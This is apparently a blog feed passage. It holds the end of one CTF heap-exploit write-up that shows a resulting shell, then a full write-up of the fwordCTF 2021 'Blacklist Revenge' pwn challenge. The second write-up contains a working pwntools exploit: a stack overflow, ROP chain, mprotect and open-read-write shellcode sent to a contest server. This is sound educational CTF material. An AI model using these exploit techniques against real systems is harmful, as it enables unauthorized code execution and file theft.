which contains your command, so you can execute system(your_cmd). After overwriting name: 0x0000556f775ac7d0│+0x0000: 0x0000000000000000 // id [length] [grade] 0x0000556f775ac7d8│+0x0008: 0x00000100ffffffff 0x0000556f775ac7e0│+0x0010: 0x00007f15844d1b28 → 0x0000000000000000 // name ptr (__free_hook) And after the new name, system is written 0x0000556f775ac7d0│+0x0000: 0x0000000000000000 0x0000556f775ac7d8│+0x0008: 0x00000100ffffffff 0x0000556f775ac7e0│+0x0010: 0x00007f15844d1b28 → 0x00007f1584338410 → &lt;system+0&gt; endbr64 And finally, after we free: $ ls -la [DEBUG] Sent 0x7 bytes: b'ls -la\n' [DEBUG] Received 0x177 bytes: b'total 2024\n' b'drwxr-xr-x 2 root root 4096 Nov 14 17:00 .\n' b'drwxr-xr-x 15 root root 4096 Nov 13 22:02 ..\n' b'-rw-r--r-- 1 root root 2380 Nov 14 17:00 exp2.py\n' b'-rw-r--r-- 1 root root 2367 Nov 12 20:35 exp.py\n' b'-rwxr-xr-x 1 root root 17608 Nov 11 21:34 gradebook\n' b'-rwxr-xr-x 1 root root 2029224 Nov 11 21:34 libc.so.6\n' b'-rw-r--r-- 1 root root 283 Nov 12 22:34 notes.md\n' total 2024 drwxr-xr-x 2 root root 4096 Nov 14 17:00 . drwxr-xr-x 15 root root 4096 Nov 13 22:02 .. -rw-r--r-- 1 root root 2380 Nov 14 17:00 exp2.py -rw-r--r-- 1 root root 2367 Nov 12 20:35 exp.py -rwxr-xr-x 1 root root 17608 Nov 11 21:34 gradebook -rwxr-xr-x 1 root root 2029224 Nov 11 21:34 libc.so.6 -rw-r--r-- 1 root root 283 Nov 12 22:34 notes.md $ Conclusion This was a nice challenge - i’ve never seen something as subtle as a format string mismatch in a ctf challenge before - it was only one character away from being correct. Actually all of the challenges I tried were pretty fun - well except the math challenges, I dont wanna talk about that lmao. See you in 3 months time when I make another one of these, or it might be before. Idk. Peace out.]]></summary></entry><entry><title type="html">fword CTF 2021 Blacklist Revenge writeup</title><link href="https://volticks.github.io/blacklist-revenge-writeup/" rel="alternate" type="text/html" title="fword CTF 2021 Blacklist Revenge writeup" /><published>2021-08-29T00:00:00+00:00</published><updated>2021-08-29T00:00:00+00:00</updated><id>https://volticks.github.io/blacklist-revenge-writeup</id><content type="html" xml:base="https://volticks.github.io/blacklist-revenge-writeup/"><![CDATA[<h1 id="intro">Intro</h1>

<h2 id="chit-chat">Chit-chat</h2>

<p>Been a while, huh?</p>

<p>This is a writeup for the <code class="language-plaintext highlighter-rouge">blacklist-revenge</code> challenge from <a href="https://ctftime.org/event/1405">fwordCTF21</a>. Its a pretty cool challenge, with some lessons to teach, and even though the challenge was, admittedly fairly easy I feel it still has educational value. Thats why i’m here, of course.</p>

<p>My previous statement about the challenge being “fairly easy” sounds quite ironic when you realise that I was not the one who originally solved the challenge; that was someone else on my team. Although I quite believe I <em>could</em> have solved the challenge for the team, had he not been so fast.</p>

<h2 id="the-challenge">The challenge</h2>

<p>Now that i’m done rambling, whats up with the challenge?</p>

<p>The description reads:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>It's time to revenge !
flag is in /home/fbi/flag.txt
Note : There is no stdout/stderr in the server , can you manage it this year?
</code></pre></div></div>

<p>With stdout + stderr disabled, this might pose a bit of a challenge when trying to exfiltrate the flag. 
I did my usual which is running <code class="language-plaintext highlighter-rouge">file</code> and <code class="language-plaintext highlighter-rouge">checksec</code> on the binary, just to see what were dealing with:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>[~/D/f/BlackList_Revenge] : file blacklist                                                                          
blacklist: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=890009ffb99771b08ad8ac3971e9aef644bce402, for GNU/Linux 3.2.0, not stripped
[~/D/f/BlackList_Revenge] : checksec --file blacklist                                                        
[*] '/root/Documents/fword21/BlackList_Revenge/blacklist'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
</code></pre></div></div>

<p>This is already pretty promising; no PIE AND statically linked. This means once we find an exploitable bug we can immediately start ropping, so lets take a look inside.</p>

<h3 id="the-binary">The binary</h3>

<p>Starting from the beginning:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kt">int</span> <span class="kr">__cdecl</span> <span class="nf">main</span><span class="p">(</span><span class="kt">int</span> <span class="n">argc</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">argv</span><span class="p">,</span> <span class="k">const</span> <span class="kt">char</span> <span class="o">**</span><span class="n">envp</span><span class="p">)</span>
<span class="p">{</span>
  <span class="n">init_0</span><span class="p">();</span>
  <span class="n">vuln</span><span class="p">();</span>
  <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>It looks pretty simple, nice. Lets check out <code class="language-plaintext highlighter-rouge">init_0</code> first:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__int64</span> <span class="nf">init_0</span><span class="p">()</span>
<span class="p">{</span>
  <span class="kt">int</span> <span class="n">syscall_arr</span><span class="p">[</span><span class="mi">6</span><span class="p">];</span> <span class="c1">// [rsp+0h] [rbp-30h]</span>
  <span class="n">__int64</span> <span class="n">filter</span><span class="p">;</span> <span class="c1">// [rsp+20h] [rbp-10h]</span>
  <span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">i</span><span class="p">;</span> <span class="c1">// [rsp+2Ch] [rbp-4h]</span>

  <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdout</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">,</span> <span class="mi">2LL</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">);</span>
  <span class="n">setvbuf</span><span class="p">(</span><span class="n">stdin</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">,</span> <span class="mi">2LL</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">);</span>
  <span class="n">setvbuf</span><span class="p">(</span><span class="n">stderr</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">,</span> <span class="mi">2LL</span><span class="p">,</span> <span class="mi">0LL</span><span class="p">);</span>
  <span class="n">filter</span> <span class="o">=</span> <span class="n">seccomp_init</span><span class="p">(</span><span class="mh">0x7FFF0000LL</span><span class="p">);</span>          <span class="c1">// kill if encountered</span>
  <span class="n">syscall_arr</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">=</span> <span class="mi">2</span><span class="p">;</span>                           <span class="c1">// open</span>
  <span class="n">syscall_arr</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x38</span><span class="p">;</span>                        <span class="c1">// clone</span>
  <span class="n">syscall_arr</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x39</span><span class="p">;</span>                        <span class="c1">// fork</span>
  <span class="n">syscall_arr</span><span class="p">[</span><span class="mi">3</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x3A</span><span class="p">;</span>                        <span class="c1">// vfork</span>
  <span class="n">syscall_arr</span><span class="p">[</span><span class="mi">4</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x3B</span><span class="p">;</span>                        <span class="c1">// execve</span>
  <span class="n">syscall_arr</span><span class="p">[</span><span class="mi">5</span><span class="p">]</span> <span class="o">=</span> <span class="mh">0x142</span><span class="p">;</span>                       <span class="c1">// execveat</span>
  <span class="k">for</span> <span class="p">(</span> <span class="n">i</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">i</span> <span class="o">&lt;=</span> <span class="mi">5</span><span class="p">;</span> <span class="o">++</span><span class="n">i</span> <span class="p">)</span>
    <span class="p">(</span><span class="n">seccomp_rule_add</span><span class="p">)(</span><span class="n">filter</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="n">syscall_arr</span><span class="p">[</span><span class="n">i</span><span class="p">],</span> <span class="mi">0</span><span class="p">);</span>
  <span class="k">return</span> <span class="n">seccomp_load</span><span class="p">(</span><span class="n">filter</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div></div>

<p>You can see we disable buffering on stdin + out + err. We then piece together and load a seccomp filter. Here we restrict several syscalls., including <code class="language-plaintext highlighter-rouge">execve</code> and its brother <code class="language-plaintext highlighter-rouge">execveat</code>, so no shells for us ;(. Lets dump the seccomp rules with <code class="language-plaintext highlighter-rouge">seccomp-tools</code> as well, just to be sure:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="p">[</span><span class="o">~/</span><span class="n">D</span><span class="o">/</span><span class="n">f</span><span class="o">/</span><span class="n">BlackList_Revenge</span><span class="p">]</span> <span class="o">:</span> <span class="n">seccomp</span><span class="o">-</span><span class="n">tools</span> <span class="n">dump</span> <span class="p">.</span><span class="o">/</span><span class="n">blacklist</span> 
 <span class="n">line</span>  <span class="n">CODE</span>  <span class="n">JT</span>   <span class="n">JF</span>      <span class="n">K</span>
<span class="o">=================================</span>
 <span class="mo">0000</span><span class="o">:</span> <span class="mh">0x20</span> <span class="mh">0x00</span> <span class="mh">0x00</span> <span class="mh">0x00000004</span>  <span class="n">A</span> <span class="o">=</span> <span class="n">arch</span>
 <span class="mo">0001</span><span class="o">:</span> <span class="mh">0x15</span> <span class="mh">0x00</span> <span class="mh">0x0a</span> <span class="mh">0xc000003e</span>  <span class="k">if</span> <span class="p">(</span><span class="n">A</span> <span class="o">!=</span> <span class="n">ARCH_X86_64</span><span class="p">)</span> <span class="k">goto</span> <span class="mo">0012</span>
 <span class="mo">0002</span><span class="o">:</span> <span class="mh">0x20</span> <span class="mh">0x00</span> <span class="mh">0x00</span> <span class="mh">0x00000000</span>  <span class="n">A</span> <span class="o">=</span> <span class="n">sys_number</span>
 <span class="mo">0003</span><span class="o">:</span> <span class="mh">0x35</span> <span class="mh">0x00</span> <span class="mh">0x01</span> <span class="mh">0x40000000</span>  <span class="k">if</span> <span class="p">(</span><span class="n">A</span> <span class="o">&lt;</span> <span class="mh">0x40000000</span><span class="p">)</span> <span class="k">goto</span> <span class="mo">0005</span>
 <span class="mo">0004</span><span class="o">:</span> <span class="mh">0x15</span> <span class="mh">0x00</span> <span class="mh">0x07</span> <span class="mh">0xffffffff</span>  <span class="k">if</span> <span class="p">(</span><span class="n">A</span> <span class="o">!=</span> <span class="mh">0xffffffff</span><span class="p">)</span> <span class="k">goto</span> <span class="mo">0012</span>
 <span class="mo">0005</span><span class="o">:</span> <span class="mh">0x15</span> <span class="mh">0x06</span> <span class="mh">0x00</span> <span class="mh">0x00000002</span>  <span class="k">if</span> <span class="p">(</span><span class="n">A</span> <span class="o">==</span> <span class="n">open</span><span class="p">)</span> <span class="k">goto</span> <span class="mo">0012</span>
 <span class="mo">0006</span><span class="o">:</span> <span class="mh">0x15</span> <span class="mh">0x05</span> <span class="mh">0x00</span> <span class="mh">0x00000038</span>  <span class="k">if</span> <span class="p">(</span><span class="n">A</span> <span class="o">==</span> <span class="n">clone</span><span class="p">)</span> <span class="k">goto</span> <span class="mo">0012</span>
 <span class="mo">0007</span><span class="o">:</span> <span class="mh">0x15</span> <span class="mh">0x04</span> <span class="mh">0x00</span> <span class="mh">0x00000039</span>  <span class="k">if</span> <span class="p">(</span><span class="n">A</span> <span class="o">==</span> <span class="n">fork</span><span class="p">)</span> <span class="k">goto</span> <span class="mo">0012</span>
 <span class="mo">000</span><span class="mi">8</span><span class="o">:</span> <span class="mh">0x15</span> <span class="mh">0x03</span> <span class="mh">0x00</span> <span class="mh">0x0000003a</span>  <span class="k">if</span> <span class="p">(</span><span class="n">A</span> <span class="o">==</span> <span class="n">vfork</span><span class="p">)</span> <span class="k">goto</span> <span class="mo">0012</span>
 <span class="mo">000</span><span class="mi">9</span><span class="o">:</span> <span class="mh">0x15</span> <span class="mh">0x02</span> <span class="mh">0x00</span> <span class="mh">0x0000003b</span>  <span class="k">if</span> <span class="p">(</span><span class="n">A</span> <span class="o">==</span> <span class="n">execve</span><span class="p">)</span> <span class="k">goto</span> <span class="mo">0012</span>
 <span class="mo">0010</span><span class="o">:</span> <span class="mh">0x15</span> <span class="mh">0x01</span> <span class="mh">0x00</span> <span class="mh">0x00000142</span>  <span class="k">if</span> <span class="p">(</span><span class="n">A</span> <span class="o">==</span> <span class="n">execveat</span><span class="p">)</span> <span class="k">goto</span> <span class="mo">0012</span>
 <span class="mo">0011</span><span class="o">:</span> <span class="mh">0x06</span> <span class="mh">0x00</span> <span class="mh">0x00</span> <span class="mh">0x7fff0000</span>  <span class="k">return</span> <span class="n">ALLOW</span>
 <span class="mo">0012</span><span class="o">:</span> <span class="mh">0x06</span> <span class="mh">0x00</span> <span class="mh">0x00</span> <span class="mh">0x00000000</span>  <span class="k">return</span> <span class="n">KILL</span>
</code></pre></div></div>

<p>From the top, we can see they limit syscalls to 64 bit versions rather than 32, pretty sure this is the default, so this means no <code class="language-plaintext highlighter-rouge">int 0x80</code>s allowed, so cant bypass the filter that way.</p>

<p>Lets now take a look at the <code class="language-plaintext highlighter-rouge">vuln</code> function:</p>

<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">__int64</span> <span class="kr">__fastcall</span> <span class="nf">vuln</span><span class="p">()</span>
<span class="p">{</span>
  <span class="kt">char</span> <span class="n">buf</span><span class="p">[</span><span class="mi">64</span><span class="p">];</span> <span class="c1">// [rsp+0h] [rbp-40h] BYREF</span>

  <span class="n">gets</span><span class="p">(</span><span class="n">buf</span><span class="p">);</span>
  <span class="k">return</span> <span class="mi">0LL</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>

<p>Classy, huh? I havent seen <code class="language-plaintext highlighter-rouge">gets()</code> used in a while so it was pretty cool to see it again. So to recap:</p>

<p>We have:</p>
<ul>
  <li>No PIE, and statically linked; many gadgets available to us right out the door.</li>
  <li>Easy bof vulnerability on the stack.</li>
  <li>… But, we cant get a shell, so we have to use some combination of ORW, but using <code class="language-plaintext highlighter-rouge">openat</code> instead of open to net us the flag.</li>
</ul>

<h1 id="exploitation">Exploitation</h1>

<p>My exploit is fairly simple. It has 3 stages:</p>

<ol>
  <li>Overflow buffer, rop together a call to <code class="language-plaintext highlighter-rouge">read</code> into the bss to load a stage 2. I do this because I dont want to deal with <code class="language-plaintext highlighter-rouge">gets()</code> and its badchars.</li>
  <li>Pivot the stack into the bss where a ropchain is waiting.</li>
  <li>The ropchain rwx’s the bss, then jumps to shellcode I had loaded after.</li>
</ol>

<p>Here’s what it looks like:</p>

<div class="language-py highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="kn">import</span> <span class="nn">string</span>

<span class="n">context</span><span class="p">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s">'amd64'</span>

<span class="n">script</span> <span class="o">=</span> <span class="s">'''
break *vuln+29
continue
'''</span>

<span class="c1"># Print out contents (only up to 0x50 bytes of it though for some reason :/) of a file.
</span><span class="n">shellcode</span> <span class="o">=</span> <span class="n">asm</span><span class="p">(</span><span class="s">'''

    mov rax, 0x101
    mov rsi, rdi
    xor rdi, rdi
    xor rdx, rdx
    xor r10, r10
    syscall
    
    mov rdi, rax
    mov rax, 0
    mov rsi, rsp
    mov rdx, 0x50
    syscall
    
    mov rax, 1
    mov rdi, 0
    syscall

        '''</span><span class="p">)</span>

<span class="k">def</span> <span class="nf">main</span><span class="p">():</span>
    
    <span class="c1"># For our socket shellcode. 
</span>    <span class="n">dataseg</span> <span class="o">=</span> <span class="mh">0x00000000004dd000</span>
    <span class="c1"># Just inside read()
</span>    <span class="n">syscall</span> <span class="o">=</span> <span class="mh">0x457a00</span>
    <span class="c1"># For stack pivot, because fuck gets()
</span>    <span class="n">pop_rbp</span> <span class="o">=</span> <span class="mh">0x41ed8f</span>
    <span class="n">leave</span> <span class="o">=</span> <span class="mh">0x0000000000401e78</span>

    <span class="n">rop</span> <span class="o">=</span> <span class="n">ROP</span><span class="p">(</span><span class="s">"./blacklist"</span><span class="p">)</span>
    <span class="n">elf</span> <span class="o">=</span> <span class="n">ELF</span><span class="p">(</span><span class="s">"./blacklist"</span><span class="p">)</span>
    
    <span class="c1"># This is effected by bachars bcuz gets(), so im gonna load a stage2.
</span>    <span class="n">ropchain</span> <span class="o">=</span> <span class="n">flat</span><span class="p">(</span>
        
        <span class="c1"># I CBA dealing with the stack, so bss instead :)
</span>        <span class="c1"># read(0, dataseg, 0x1000)
</span>        <span class="n">rop</span><span class="p">.</span><span class="n">rdi</span><span class="p">.</span><span class="n">address</span><span class="p">,</span>                                                  
        <span class="mi">0</span><span class="p">,</span>   
        <span class="n">rop</span><span class="p">.</span><span class="n">rsi</span><span class="p">.</span><span class="n">address</span><span class="p">,</span>
        <span class="n">dataseg</span><span class="p">,</span>
        <span class="n">rop</span><span class="p">.</span><span class="n">rdx</span><span class="p">.</span><span class="n">address</span><span class="p">,</span>
        <span class="mh">0x1000</span><span class="p">,</span>
        <span class="n">syscall</span><span class="p">,</span>

        <span class="n">pop_rbp</span><span class="p">,</span>
        <span class="n">dataseg</span><span class="o">+</span><span class="mh">0x20</span><span class="p">,</span> <span class="c1"># +0x20 to leave room for filenames n shit
</span>        <span class="n">leave</span><span class="p">,</span>
            <span class="p">)</span>
    
    <span class="c1"># This is not affected by badchars, bcuz read() :).
</span>    <span class="n">rop2</span> <span class="o">=</span> <span class="n">flat</span><span class="p">(</span>
        
        <span class="n">path</span> <span class="p">:</span><span class="o">=</span> <span class="sa">b</span><span class="s">"/home/fbi/flag.txt</span><span class="se">\x00</span><span class="s">"</span><span class="p">,</span>
        <span class="sa">b</span><span class="s">"A"</span><span class="o">*</span><span class="p">(</span><span class="mh">0x20</span> <span class="o">-</span> <span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">path</span><span class="p">)</span> <span class="o">-</span> <span class="mi">8</span><span class="p">)),</span>
        
        <span class="c1"># shellcode here because rop is annoying. 
</span>        <span class="c1"># mprotect(dataseg, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC)
</span>        <span class="n">rop</span><span class="p">.</span><span class="n">rax</span><span class="p">.</span><span class="n">address</span><span class="p">,</span>
        <span class="mh">0x0a</span><span class="p">,</span>
        <span class="n">rop</span><span class="p">.</span><span class="n">rdi</span><span class="p">.</span><span class="n">address</span><span class="p">,</span>
        <span class="n">dataseg</span><span class="p">,</span>
        <span class="n">rop</span><span class="p">.</span><span class="n">rsi</span><span class="p">.</span><span class="n">address</span><span class="p">,</span>
        <span class="mh">0x1000</span><span class="p">,</span>
        <span class="n">rop</span><span class="p">.</span><span class="n">rdx</span><span class="p">.</span><span class="n">address</span><span class="p">,</span>
        <span class="mi">7</span><span class="p">,</span>
        <span class="n">syscall</span><span class="p">,</span>
        
        <span class="c1"># Return into our shellcode...
</span>        <span class="c1"># Should srop into the somsled somewhere inside the GOT.
</span>        <span class="n">dataseg</span><span class="o">+</span><span class="mi">125</span><span class="p">,</span>
        <span class="sa">b</span><span class="s">"</span><span class="se">\x90</span><span class="s">"</span><span class="o">*</span><span class="mi">50</span><span class="p">,</span>
        <span class="n">shellcode</span><span class="p">,</span>
        <span class="p">)</span>

    <span class="c1">#p = process("./blacklist")
</span>    <span class="c1"># nc 40.71.72.198 1236 
</span>    <span class="n">p</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s">"40.71.72.198"</span><span class="p">,</span> <span class="mi">1236</span><span class="p">)</span>
    <span class="c1">#gdb.attach(p, script)
</span>
    <span class="n">p</span><span class="p">.</span><span class="n">sendline</span><span class="p">(</span><span class="sa">b</span><span class="s">"A"</span><span class="o">*</span><span class="mi">72</span> <span class="o">+</span> <span class="n">ropchain</span><span class="p">)</span>

    <span class="c1"># read() doesnt need a newline 
</span>    <span class="n">p</span><span class="p">.</span><span class="n">send</span><span class="p">(</span><span class="n">rop2</span><span class="p">)</span>
    
    <span class="c1"># We should be recieving some data over stdin, which uses the same socket as stdout for comms with the server. So
</span>    <span class="c1"># pretty much no difference between the 2.
</span>    <span class="n">buf</span> <span class="o">=</span> <span class="n">p</span><span class="p">.</span><span class="n">recvall</span><span class="p">()</span>

    <span class="c1"># Clean output a lil 
</span>    <span class="n">printable</span> <span class="o">=</span> <span class="s">""</span>
    <span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">buf</span><span class="p">:</span>
        <span class="k">for</span> <span class="n">c</span> <span class="ow">in</span> <span class="n">string</span><span class="p">.</span><span class="n">printable</span><span class="p">:</span>
            <span class="k">if</span> <span class="n">b</span> <span class="o">==</span> <span class="nb">ord</span><span class="p">(</span><span class="n">c</span><span class="p">):</span>
                <span class="n">printable</span> <span class="o">+=</span> <span class="nb">chr</span><span class="p">(</span><span class="n">b</span><span class="p">)</span>

    <span class="k">print</span><span class="p">(</span><span class="n">printable</span><span class="p">)</span>


<span class="k">if</span> <span class="n">__name__</span> <span class="o">==</span> <span class="s">"__main__"</span><span class="p">:</span>
    <span class="n">main</span><span class="p">()</span>
</code></pre></div></div>

<p>Something I can suggest to fellow pwn-players is making use of pwntools; it <code class="language-plaintext highlighter-rouge">asm</code> function is extremely powerful, and automatic rop-gadget finding is extremely good, especially if you just CBA.</p>

<p>Some amongst you may have noticed something strange, specifically inside some of my shellcode:</p>

<pre><code class="language-asm">    ; openat(0, "/home/fbi/flag.txt", O_RDONLY, 0);
    mov rax, 0x101
    mov rsi, rdi
    xor rdi, rdi
    xor rdx, rdx
    xor r10, r10
    syscall
    
    ; read(flag_fd, rsp, 0x50)
    mov rdi, rax
    mov rax, 0
    mov rsi, rsp
    mov rdx, 0x50
    syscall
    
    ; write(0, rsp, 0x50)
    mov rax, 1
    mov rdi, 0
    syscall
</code></pre>

<p>Specifically the last 2/3 lines. How on earth does that work? We know writing to stdin is possible, of course you can write into the stdin of another terminal session and ruin someones day, but how are we able to recieve it the same way we would recieve stdout from the server?</p>

<h2 id="a-tale-of-sockets-and-servers">A tale of sockets and servers</h2>

<p>This is, in all actuality pretty easy to explain. Take a look at this diagram:</p>

<p><img src="../assets/img/server-client.png" alt="Socket/Client diagram" /></p>

<p><a href="https://www.cs.uregina.ca/Links/class-info/330/Sockets/sockets.html">here</a></p>

<p>A server, like the one our challenge was running on will listen for a connection, and wait in a loop, <code class="language-plaintext highlighter-rouge">accept()</code>ing any connections that come its way. <code class="language-plaintext highlighter-rouge">accept()</code> will then give the server a file descriptor which can be used to communicate with the client. Its important to note that this is FULL duplex; if I, as the server want to read OR write data to/from the client, I use this pipe as the sole medium to do so.</p>

<p>With this knowledge, we can look back on how our shellcode works. Since the <code class="language-plaintext highlighter-rouge">write()</code> is actually SENDING data to us, its irrelevant what file descriptor is used, because in the end the client will recieve the data over the same socket anyway. This essentially shows us that in a networked context stdin, stdout, and stderr are essentially exactly the same thing (one socket to rule them all).</p>

<p>Btw if I got anything wrong above, feel free to correct me, but thats my understanding.</p>

<p>Another thing, earlier I mentioned that stdout and stderr are closed in this challenge. This is not true of the local binary, so im not actually sure how this is implemented but its definitely only server side.</p>

<h1 id="closing-thoughts">Closing thoughts</h1>

<p>A hacker has to think outside the box, wether you do pwn, crypto, web, or rev (or all of them) each requires the hacker mindset.</p>

<p>In our shellcode, for example we <em>could</em> have just created a NEW socket to transmit the flag over, but why would we do that when we already have a perfectly usable socket already created?</p>

<p>I probably need to get better at thinking this way, since the idea did not even cross my mind.</p>

<p>Thanks for sticking around this far, if you did.</p>

<h1 id="references">References</h1>

<ul>
  <li><a href="https://man7.org/linux/man-pages/man2/accept.2.html">https://man7.org/linux/man-pages/man2/accept.2.html</a></li>
  <li><a href="https://www.cs.uregina.ca/Links/class-info/330/Sockets/sockets.html">https://www.cs.uregina.ca/Links/class-info/330/Sockets/sockets.html</a></li>
  <li><a href="https://man7.org/linux/man-pages/man2/seccomp.2.htm">https://man7.org/linux/man-pages/man2/seccomp.2.htm</a></li>
</ul>]]></content><author><name>volticks</name></author><category term="media" /><summary type="html"><![CDATA[Intro Chit-chat Been a while, huh? This is a writeup for the blacklist-revenge challenge from fwordCTF21. Its a pretty cool challenge, with some lessons to teach, and even though the challenge was, admittedly fairly easy I feel it still has educational value. Thats why i’m here, of course. My previous statement about the challenge being “fairly easy” sounds quite ironic when you realise that I was not the one who originally solved the challenge; that was someone else on my team. Although I quite believe I could have solved the challenge for the team, had he not been so fast. The challenge Now that i’m done rambling, whats up with the challenge? The description reads: It's time to revenge ! flag is in /home/fbi/flag.txt Note : There is no stdout/stderr in the server , can you manage it this year? With stdout + stderr disabled, this might pose a bit of a challenge when trying to exfiltrate the flag. I did my usual which is running file and checksec on the binary, just to see what were dealing with: [~/D/f/BlackList_Revenge] : file blacklist blacklist: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, BuildID[sha1]=890009ffb99771b08ad8ac3971e9aef644bce402, for GNU/Linux 3.2.0, not stripped [~/D/f/BlackList_Revenge] : checksec --file blacklist [*] '/root/Documents/fword21/BlackList_Revenge/blacklist' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000) This is already pretty promising; no PIE AND statically linked. This means once we find an exploitable bug we can immediately start ropping, so lets take a look inside. The binary Starting from the beginning: int __cdecl main(int argc, const char **argv, const char **envp) { init_0(); vuln(); return 0; } It looks pretty simple, nice. Lets check out init_0 first: __int64 init_0() { int syscall_arr[6]; // [rsp+0h] [rbp-30h] __int64 filter; // [rsp+20h] [rbp-10h] unsigned int i; // [rsp+2Ch] [rbp-4h] setvbuf(stdout, 0LL, 2LL, 0LL); setvbuf(stdin, 0LL, 2LL, 0LL); setvbuf(stderr, 0LL, 2LL, 0LL); filter = seccomp_init(0x7FFF0000LL); // kill if encountered syscall_arr[0] = 2; // open syscall_arr[1] = 0x38; // clone syscall_arr[2] = 0x39; // fork syscall_arr[3] = 0x3A; // vfork syscall_arr[4] = 0x3B; // execve syscall_arr[5] = 0x142; // execveat for ( i = 0; i &lt;= 5; ++i ) (seccomp_rule_add)(filter, 0, syscall_arr[i], 0); return seccomp_load(filter); } You can see we disable buffering on stdin + out + err. We then piece together and load a seccomp filter. Here we restrict several syscalls., including execve and its brother execveat, so no shells for us ;(. Lets dump the seccomp rules with seccomp-tools as well, just to be sure: [~/D/f/BlackList_Revenge] : seccomp-tools dump ./blacklist line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x0a 0xc000003e if (A != ARCH_X86_64) goto 0012 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x35 0x00 0x01 0x40000000 if (A &lt; 0x40000000) goto 0005 0004: 0x15 0x00 0x07 0xffffffff if (A != 0xffffffff) goto 0012 0005: 0x15 0x06 0x00 0x00000002 if (A == open) goto 0012 0006: 0x15 0x05 0x00 0x00000038 if (A == clone) goto 0012 0007: 0x15 0x04 0x00 0x00000039 if (A == fork) goto 0012 0008: 0x15 0x03 0x00 0x0000003a if (A == vfork) goto 0012 0009: 0x15 0x02 0x00 0x0000003b if (A == execve) goto 0012 0010: 0x15 0x01 0x00 0x00000142 if (A == execveat) goto 0012 0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0012: 0x06 0x00 0x00 0x00000000 return KILL From the top, we can see they limit syscalls to 64 bit versions rather than 32, pretty sure this is the default, so this means no int 0x80s allowed, so cant bypass the filter that way. Lets now take a look at the vuln function: __int64 __fastcall vuln() { char buf[64]; // [rsp+0h] [rbp-40h] BYREF gets(buf); return 0LL; } Classy, huh? I havent seen gets() used in a while so it was pretty cool to see it again. So to recap: We have: No PIE, and statically linked; many gadgets available to us right out the door. Easy bof vulnerability on the stack. … But, we cant get a shell, so we have to use some combination of ORW, but using openat instead of open to net us the flag. Exploitation My exploit is fairly simple. It has 3 stages: Overflow buffer, rop together a call to read into the bss to load a stage 2. I do this because I dont want to deal with gets() and its badchars. Pivot the stack into the bss where a ropchain is waiting. The ropchain rwx’s the bss, then jumps to shellcode I had loaded after. Here’s what it looks like: ```py from pwn import * import string context.arch = ‘amd64’ script = ‘’’ break *vuln+29 continue ‘’’ Print out contents (only up to 0x50 bytes of it though for some reason :/) of a file. shellcode = asm(‘’’ mov rax, 0x101 mov rsi, rdi xor rdi, rdi xor rdx, rdx xor r10, r10 syscall mov rdi, rax mov rax, 0 mov rsi, rsp mov rdx, 0x50 syscall mov rax, 1 mov rdi, 0 syscall ''') def main(): # For our socket shellcode. dataseg = 0x00000000004dd000 # Just inside read() syscall = 0x457a00 # For stack pivot, because fuck gets() pop_rbp = 0x41ed8f leave = 0x0000000000401e78 rop = ROP("./blacklist") elf = ELF("./blacklist") # This is effected by bachars bcuz gets(), so im gonna load a stage2. ropchain = flat( # I CBA dealing with the stack, so bss instead :) # read(0, dataseg, 0x1000) rop.rdi.address, 0, rop.rsi.address, dataseg, rop.rdx.address, 0x1000, syscall, pop_rbp, dataseg+0x20, # +0x20 to leave room for filenames n shit leave, ) # This is not affected by badchars, bcuz read() :). rop2 = flat( path := b"/home/fbi/flag.txt\x00", b"A"*(0x20 - (len(path) - 8)), # shellcode here because rop is annoying. # mprotect(dataseg, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC) rop.rax.address, 0x0a, rop.rdi.address, dataseg, rop.rsi.address, 0x1000, rop.rdx.address, 7, syscall, # Return into our shellcode... # Should srop into the somsled somewhere inside the GOT. dataseg+125, b"\x90"*50, shellcode, ) #p = process("./blacklist") # nc 40.71.72.198 1236 p = remote("40.71.72.198", 1236) #gdb.attach(p, script) p.sendline(b"A"*72 + 